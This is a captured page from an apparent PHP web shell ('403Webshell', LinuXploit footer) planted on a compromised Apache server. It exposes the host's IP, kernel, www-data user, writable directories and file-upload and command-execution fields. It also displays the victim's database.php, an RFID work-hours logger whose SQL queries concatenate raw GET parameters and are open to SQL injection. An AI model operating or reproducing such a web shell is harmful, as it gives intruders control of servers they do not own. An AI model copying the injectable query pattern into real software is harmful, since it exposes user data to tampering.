403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/radvre_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/radvre_old/database.php
<!DOCTYPE html>
<html>
<body>

<?php
/******************************
 Project: Radno vreme, 2023.
 Version: PHP v. 5-7
 Author : M. Kukic
 Note   :
 GET poziv:
	       http://net-nas/MyWeb/w3/radvre_v7/database.php?rf=3D763400&io=in&nt=Ulaz&rs=1001
		   http://net-nas/MyWeb/w3/radvre_v7/database.php?rf=3D763400&io=out&nt=Izlaz&rs=1001
		   
		   http://net-nas/MyWeb/w3/radvre_v7/database.php?rf=E557C3CD&io=in&nt=Ulaz&rs=1002
		   http://net-nas/MyWeb/w3/radvre_v7/database.php?rf=E557C3CD&io=out&nt=Izlaz&rs=1002
		   
		   http://net-xmp/w3/radvre/database.php?rf=E557C3CD&io=in&nt=Ulaz&rs=1002
		   http://net-xmp/w3/radvre/database.php?rf=E557C3CD&io=out&nt=Izlaz&rs=1002

******************************/

//Get
$rf = $_GET["rf"];
//$dn = $_GET["dn"];
$io = $_GET["io"];
$nt = $_GET["nt"];
$rs = $_GET["rs"];
//
//echo $rf.$io.$nt.$lk;
//
include "config.php";
//
$tz=0;
$lz=0;
//
$ts = $tz*3600 + $tz*3600 + (int)strtotime("now");
//
if ($db==5){  // MySQL ver 5
/*
// Dobija USER "dispname" -> i za njega trazi "fullname"
//$sql = "SELECT * FROM user WHERE dispname='".$dn."'";
$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
$row = mysql_fetch_array($result);
*/
//
// Trazi po RFID 
$sql = "SELECT * FROM user WHERE rfid='".$rf."'";
$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
$row = mysql_fetch_array($result);
//
$dn=$row['dispname'];
$fn=$row['fullname'];
echo "<h3>User: ".$dn." - ".$fn."</h3><br>";
//
// Trazi po Lokaciji
$sql = "SELECT * FROM lokac WHERE rfsrno='".$rs."'";
$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
$row = mysql_fetch_array($result);
$lk=$row['lokacija'];
echo "<h3>Lokacija: ".$lk."</h3><br>";

//Update - tabele "logdog" za izvestaje 
$sql = "INSERT INTO logdog (id, dispname, in_out, dattim, notes, lokc) VALUES ('0', '$dn', '$io', '$ts', '$nt','$lk')";
mysql_query($sql, $dbh) or die(mysql_error());
//
// dodati ogranicanje u vezi gresaka
echo "<h3>Status: OK!</h3>";
//	
mysql_close($dbh);	
//	

	}else{	// ************* MySQL ver 7 ******************

// Trazi po RFID 
$sql = "SELECT * FROM user WHERE rfid='".$rf."'";
$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
$row = mysqli_fetch_array($result);
//
$dn=$row['dispname'];
$fn=$row['fullname'];
echo "<h3>User: ".$dn." - ".$fn."</h3><br>";
//
// Trazi po Lokaciji
$sql = "SELECT * FROM lokac WHERE rfsrno='".$rs."'";
$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
$row = mysqli_fetch_array($result);
$lk=$row['lokacija'];
echo "<h3>Lokacija: ".$lk."</h3><br>";

//Update - tabele "logdog" za izvestaje 
$sql = "INSERT INTO logdog (id, dispname, in_out, dattim, notes, lokc) VALUES ('0', '$dn', '$io', '$ts', '$nt','$lk')";
mysqli_query($dbh, $sql) or die(mysqli_error());
//
// dodati ogranicanje u vezi gresaka
echo "<h3>Status: OK!</h3>";
//	
mysql_close($dbh);	
//	

} //END
//
?> 
<!-- 
<script>javascript:history.go(-1)</script>
-->
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit